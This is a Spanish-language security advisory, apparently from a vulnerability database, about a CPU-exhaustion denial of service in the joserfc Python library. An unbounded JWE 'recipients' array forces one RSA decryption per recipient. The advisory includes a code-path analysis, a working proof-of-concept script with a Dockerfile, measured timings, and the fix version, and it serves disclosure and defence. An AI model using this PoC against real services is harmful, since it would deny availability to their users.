joserfc: Matriz `recipients` no delimitada en JWE General JSON provoca agotamiento de CPU (DoS) mediante descifrado repetido con clave privada RSA
Resumen
joserfc.jwe.decrypt_json(), el analizador público de la biblioteca para JWE General JSON Serialization, acepta una matriz recipients controlada por el atacante de longitud ilimitada y realiza una operación completa de descifrado con clave privada (decrypt_cek) para cada destinatario presente en la entrada, sin límite en el número de destinatarios. Un atacante no autenticado a través de la red que pueda enviar un documento JWE General JSON a cualquier endpoint que lo descifre con una clave RSA (por ejemplo, RSA-OAEP) puede forzar a la víctima a realizar una cantidad arbitraria de descifrados con clave privada RSA elegida por el atacante a partir de una única petición HTTP relativamente pequeña.
Esto proporciona al atacante una primitiva de agotamiento de CPU (Denegación de Servicio) altamente asimétrica: las reproducciones locales muestran que el tamaño de la solicitud crece linealmente con el recuento de destinatarios (~396 bytes/destinatario) mientras que el tiempo de CPU del servidor aumenta al mismo ritmo (relación cercana a 1:1 entre el crecimiento de destinatarios y el aumento del tiempo de descifrado), y el único mecanismo de mitigación documentado de la biblioteca, verify_all_recipients=False, no reduce el coste de CPU, ya que el bucle de descifrado procesa incondicionalmente el decrypt_cek() de cada destinatario antes de consultar dicha opción. Se trata de CWE-400 (Consumo incontrolado de recursos) con una puntuación base de CVSS v3.1 de 7.5 (Alta).
Detalles
joserfc valida y limita varios elementos estructurales de un JWE (tamaño del encabezado protegido, tamaño de clave cifrada, tamaño de IV, tamaño del texto cifrado y tamaño de etiqueta de autenticación) dentro de src/joserfc/_rfc7516/registry.py, pero no realiza ninguna validación sobre el número de elementos en la matriz recipients de un objeto JWE General JSON Serialization.
Flujo de datos (origen → destino), verificado directamente contra el código fuente del repositorio en el commit 26a10275e88276184f91ae2a6409647bfac7fea5 (joserfc 1.7.4):
src/joserfc/jwe.py:214— Punto de entrada del analizador públicodecrypt_json(data, private_key, ...). Esta es una API documentada y no autenticada (en el límite de la biblioteca) para analizar JSON JWE proporcionado externamente.src/joserfc/jwe.py:238— Si"recipients"está presente en el diccionario de entrada, se invocaextract_general_json(...).src/joserfc/_rfc7516/json.py:84-86— Itera sobrefor item in data["recipients"]:y agrega un objetoRecipientpara cada entrada, sin verificación de límite superior sobrelen(data["recipients"]):pythonfor item in data["recipients"]: recipient = __extract_recipient(obj, item, registry) obj.recipients.append(recipient)src/joserfc/jwe.py:252— La clave privada se asocia a cada destinatario extraído.src/joserfc/_rfc7516/message.py:103-112—_perform_decrypt()itera sobre cada destinatario enobj.recipientsy llama adecrypt_recipient(...)para cada uno, sin importar cuántos existan:pythoncek_set = set() for recipient in obj.recipients: headers = recipient.headers() registry.check_header(headers, True) alg = registry.get_alg(headers["alg"]) try: cek = decrypt_recipient(alg, enc, recipient, tag) cek_set.add(cek)src/joserfc/_rfc7518/jwe_algs.py:74-83— Para destinatarios RSA-OAEP/RSA1_5, esto deriva a la operación final, una operación real con clave privada RSA:pythondef decrypt_cek(self, recipient: Recipient[RSAKey]) -> bytes: key = recipient.recipient_key assert key is not None self.check_key_type(key) op_key = key.get_op_key("decrypt") try: assert recipient.encrypted_key is not None cek = op_key.decrypt(recipient.encrypted_key, self.padding)
Confirmado mediante inspección directa de src/joserfc/_rfc7516/registry.py: existen límites de tamaño para max_header_length, max_encrypted_key_length, max_iv_length, max_ciphertext_length y max_auth_tag_length (registry.py:52-62, 103-121), pero no existe un campo o comprobación max_recipients (o equivalente) en registry.py, json.py ni jwe.py.
De forma crítica, el bucle en message.py:103-112 llama incondicionalmente a decrypt_recipient() para cada destinatario — esto sucede antes de que se consulte registry.verify_all_recipients. Configurar verify_all_recipients=False (la única opción relacionada documentada en la biblioteca) modifica únicamente si un fallo de descifrado lanza una excepción, pero no reduce la cantidad de operaciones de clave privada RSA ejecutadas, por lo que no mitiga el consumo de CPU. Esto se confirmó de forma independiente en tiempo de ejecución (ver resultados de PoC a continuación): el tiempo de descifrado es estadísticamente idéntico entre verify_all_recipients=True y verify_all_recipients=False para el mismo número de destinatarios.
decrypt_json() no es una ruta de código exclusiva de demostración o administración: está documentada en docs/guide/jwe.rst:156-182 como la forma estándar de analizar y descifrar un JWE General JSON recibido externamente, y no requiere una configuración especial o no predeterminada para desencadenarse. Esto es funcionalmente análogo a otros dos problemas de agotamiento de recursos ya corregidos en la misma base de código: el límite de iteraciones de PBES2 p2c (src/joserfc/_rfc7518/jwe_algs.py:237-239) y el límite de tamaño por "bomba zip" de compresión JWE (src/joserfc/_rfc7518/jwe_zips.py:11,26-28), lo que indica que el caso del recuento de destinatarios simplemente se omitió dentro de la misma clase de medidas de mitigación.
PoC
Tanto la reproducción estática (Fase 1) como la dinámica en contenedor (Fase 2) confirmaron la vulnerabilidad en el código fuente no modificado de joserfc 1.7.4.
Configuración del entorno (Dockerfile):
FROM python:3.12-slim
WORKDIR /app
# Copy the exact repository source under test (unmodified).
COPY repo /app/repo
# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo
# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py
ENTRYPOINT ["python3", "/app/poc.py"]
Compilación y ejecución (el código fuente se usa sin modificar; el contenedor no tiene acceso a la red):
docker build -t joserfc-vuln001 -f vuln-001/Dockerfile .
docker run --rm --network none joserfc-vuln001 --recipients 1 500 1500
Lógica de PoC (poc.py): Genera un par de claves RSA-2048 de la víctima (representando la clave RSA que usaría una aplicación para el descifrado JWE con RSA-OAEP), genera un JWE General JSON (GeneralJSONEncryption) que envuelve un texto sin formato pequeño con un número n de destinatarios RSA-OAEP elegido por el atacante (todos usando la clave pública de la víctima, que es inherentemente pública para el cifrado JWE), y luego llama a la API pública no modificada joserfc.jwe.decrypt_json() midiendo el tiempo de descifrado, una vez con verify_all_recipients=True y otra con verify_all_recipients=False.
def build_token(public_key, n_recipients: int) -> tuple[str, int]:
obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
for _ in range(n_recipients):
obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
token = jwe.encrypt_json(obj, None)
size_bytes = len(json.dumps(token).encode())
return token, size_bytes
def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float:
registry = JWERegistry(verify_all_recipients=verify_all_recipients)
t0 = time.perf_counter()
out = jwe.decrypt_json(token, private_key, registry=registry)
dt = time.perf_counter() - t0
assert out.plaintext == b"hello"
return dt
Resultados observados (Fase 2, dentro del contenedor Docker, --network none, fuente no modificada):
[*] Attacker crafts General JSON JWE with recipients=1 ...
verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.002
verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.001
[*] Attacker crafts General JSON JWE with recipients=500 ...
verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.631
verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.651
[*] Attacker crafts General JSON JWE with recipients=1500 ...
verify_all_recipients=True -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.874
verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.875
[CHECK] recipient_count_ratio=1500.0x decrypt_time_ratio=937.0x
[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied recipient with
no upper bound, and verify_all_recipients=False did not mitigate the cost.
La reproducción independiente en fase estática (Fase 1) contra el mismo commit fuera del contenedor produjo el mismo comportamiento de escalado lineal (destinatarios=500 → 198,140 bytes → 0.627s; destinatarios=1500 → 594,140 bytes → 1.957s), y la ejecución local del informe original mostró destinatarios=1000 → 396,140 bytes → 1.254s; destinatarios=3000 → 1,188,140 bytes → 3.762s. En cada ejecución, plaintext=b'hello' se recuperó correctamente, confirmando que cada petición manipulada es una entrada totalmente válida y no datos malformados rechazados tempranamente.
En todos los casos, verify_all_recipients=False produjo tiempos de descifrado estadísticamente idénticos a verify_all_recipients=True para el mismo número de destinatarios (por ejemplo, 500 destinatarios: 0.631s frente a 0.651s; 1500 destinatarios: 1.874s frente a 1.875s), confirmando empíricamente que este flag documentado no mitiga el coste de CPU.
Impacto
Se trata de una vulnerabilidad remota y no autenticada de Denegación de Servicio por agotamiento de CPU (CWE-400, Consumo incontrolado de recursos). Cualquier aplicación que:
- exponga un endpoint (o ruta de procesamiento de mensajes) que acepte datos JWE en formato General JSON Serialization, y
- los descifre utilizando
joserfc.jwe.decrypt_json()con un algoritmo de gestión de claves basado en RSA (por ejemplo, RSA-OAEP, RSA1_5)
está afectada. El atacante solo necesita la clave pública RSA de la víctima, que es intrínsecamente pública al ser utilizada por remitentes legítimos para cifrar JWE hacia la víctima. Debido a que el tamaño de la solicitud escala linealmente con el recuento de destinatarios (~396 bytes por destinatario) mientras que el coste de CPU del servidor infligido por el atacante escala al mismo ritmo, el atacante obtiene una asimetría de costes muy ventajosa: por ejemplo, una solicitud de ~1.2 MB forzó en las pruebas ~3.8 segundos de operaciones de descifrado con clave privada RSA-2048. Solicitudes repetidas o concurrentes con estas características pueden agotar la capacidad de CPU/workers del servicio víctima, degradando o denegando la disponibilidad a usuarios legítimos. La confidencialidad y la integridad no se ven afectadas (no se revelan ni alteran datos ni material criptográfico); el impacto se limita exclusivamente a la disponibilidad, en consonancia con el vector CVSS C:N/I:N/A:H.
Artefactos de reproducción
Dockerfile
# VULN-001 dynamic reproduction environment
# Unbounded JWE General JSON "recipients" array causes CPU exhaustion via
# repeated RSA private-key decryption in joserfc's decrypt_json().
#
# This image builds joserfc from the local repository clone (unmodified
# source) and provides a Python environment to run poc.py against it.
FROM python:3.12-slim
WORKDIR /app
# Copy the exact repository source under test (unmodified).
COPY repo /app/repo
# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo
# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py
ENTRYPOINT ["python3", "/app/poc.py"]
poc.py
"""
VULN-001 dynamic PoC: Unbounded JWE General JSON "recipients" array causes
CPU exhaustion (CWE-400) via repeated RSA private-key decryption inside
joserfc's public parser API `joserfc.jwe.decrypt_json()`.
Data flow reproduced end to end (unmodified joserfc source):
1. joserfc.jwe.decrypt_json() (src/joserfc/jwe.py:214)
2. -> extract_general_json() (src/joserfc/_rfc7516/json.py:73)
3. -> for item in data["recipients"]: (NO COUNT CAP) (src/joserfc/_rfc7516/json.py:84)
4. -> perform_decrypt() -> _perform_decrypt() (src/joserfc/_rfc7516/message.py:93-112)
5. -> for recipient in obj.recipients: decrypt_recipient(...) for EVERY recipient,
regardless of registry.verify_all_recipients
6. -> RSAAlgModel.decrypt_cek(): op_key.decrypt(...) (src/joserfc/_rfc7518/jwe_algs.py:74-83)
performs one real RSA-2048 private-key decrypt operation per recipient.
This script:
(a) builds a victim RSA keypair (2048-bit, as an application would use for
RSA-OAEP JWE decryption),
(b) crafts a General JSON JWE token with an attacker-chosen number of
RSA-OAEP recipients, all wrapping the SAME small ciphertext,
(c) measures wall-clock CPU time joserfc's unmodified decrypt_json() spends
processing the token as the recipient count grows,
(d) shows that setting verify_all_recipients=False (the only public
mitigation knob mentioned in the docs) does NOT reduce the CPU cost,
because the decrypt loop in message.py always attempts every
recipient's decrypt_cek() before that flag is ever consulted.
Deterministic PASS criteria (printed as machine-readable JSON lines):
- decrypt_json() succeeds (returns correct plaintext) for all recipient counts.
- decrypt_seconds scales roughly linearly with recipient count (attacker
control over victim CPU cost, unbounded by the library).
- decrypt_seconds for verify_all_recipients=False is statistically the same
order of magnitude as verify_all_recipients=True for the same recipient
count (proving the documented mitigation does not help).
"""
import argparse
import json
import time
from joserfc import jwe, jwk
from joserfc.jwe import GeneralJSONEncryption
from joserfc.jwe import JWERegistry
def build_token(public_key, n_recipients: int) -> tuple[str, int]:
"""Craft a General JSON JWE with n_recipients RSA-OAEP recipients,
all wrapping the same small plaintext. This is exactly the shape an
unauthenticated network attacker can send to any endpoint that calls
jwe.decrypt_json() on external input, as documented in
docs/guide/jwe.rst."""
obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
for _ in range(n_recipients):
obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
token = jwe.encrypt_json(obj, None)
size_bytes = len(json.dumps(token).encode())
return token, size_bytes
def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float:
registry = JWERegistry(verify_all_recipients=verify_all_recipients)
t0 = time.perf_counter()
out = jwe.decrypt_json(token, private_key, registry=registry)
dt = time.perf_counter() - t0
assert out.plaintext == b"hello", f"unexpected plaintext: {out.plaintext!r}"
return dt
def main():
parser = argparse.ArgumentParser(description="VULN-001 dynamic reproduction PoC")
parser.add_argument(
"--recipients",
type=int,
nargs="+",
default=[1, 500, 1500],
help="Recipient counts to test (attacker-controlled array length).",
)
parser.add_argument(
"--key-bits",
type=int,
default=2048,
help="RSA key size of the victim's decryption key.",
)
args = parser.parse_args()
print(f"[*] Generating victim RSA-{args.key_bits} keypair (RSA-OAEP JWE key)...")
private_key = jwk.RSAKey.generate_key(args.key_bits)
public_key = jwk.RSAKey.import_key(private_key.as_dict(private=False))
print("[*] Victim private key generated locally; public key is what an attacker would normally have.")
results = []
for n in args.recipients:
print(f"\n[*] Attacker crafts General JSON JWE with recipients={n} ...")
token, size_bytes = build_token(public_key, n)
dt_verify_true = measure_decrypt(token, private_key, verify_all_recipients=True)
print(
f" verify_all_recipients=True -> decrypt_json() succeeded, "
f"size_bytes={size_bytes} decrypt_seconds={dt_verify_true:.3f}"
)
dt_verify_false = measure_decrypt(token, private_key, verify_all_recipients=False)
print(
f" verify_all_recipients=False -> decrypt_json() succeeded, "
f"size_bytes={size_bytes} decrypt_seconds={dt_verify_false:.3f} "
f"(documented 'mitigation' does NOT reduce CPU cost)"
)
results.append(
{
"recipients": n,
"size_bytes": size_bytes,
"decrypt_seconds_verify_all_true": round(dt_verify_true, 3),
"decrypt_seconds_verify_all_false": round(dt_verify_false, 3),
}
)
print("\n[RESULT_JSON] " + json.dumps(results))
# Deterministic scaling check: CPU time for the largest recipient count
# must be substantially larger (order of magnitude, not noise) than for
# the smallest, proving attacker control over victim CPU consumption.
baseline = results[0]["decrypt_seconds_verify_all_true"]
worst = results[-1]["decrypt_seconds_verify_all_true"]
ratio = worst / baseline if baseline > 0 else float("inf")
recipient_ratio = results[-1]["recipients"] / results[0]["recipients"]
print(
f"[CHECK] recipient_count_ratio={recipient_ratio:.1f}x "
f"decrypt_time_ratio={ratio:.1f}x "
f"(unbounded recipients => unbounded RSA-decrypt CPU cost, no cap in registry.py)"
)
if ratio < recipient_ratio * 0.3:
print("[FAIL] Decrypt time did not scale with recipient count as expected.")
raise SystemExit(1)
print("[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied "
"recipient with no upper bound, and verify_all_recipients=False did not mitigate the cost.")
if __name__ == "__main__":
main()
Qué hacer
Actualice joserfc a la versión 1.7.5 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | joserfc | < 1.7.5 | 1.7.5 |
Referencias
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Debilidad (CWE)
CWE-400- Plataforma
- Python (PyPI)
- Paquete
joserfc- Publicada
- 30.10.2026
- Actualizado
- 07.11.2026 10:00
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-jpxq-7h8p-2q76 - CC BY 4.0
Historial de vulnerabilidades: joserfc
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 6
- Primera → última
- 11.2025 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 3
- Media 2
Divulgaciones por año
- 2025: 1
- 2026: 5
-
joserfc: Matriz `recipients` no delimitada en JWE General JSON provoca agotamiento de CPU (DoS) mediante descifrado repetido con clave privada RSA esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.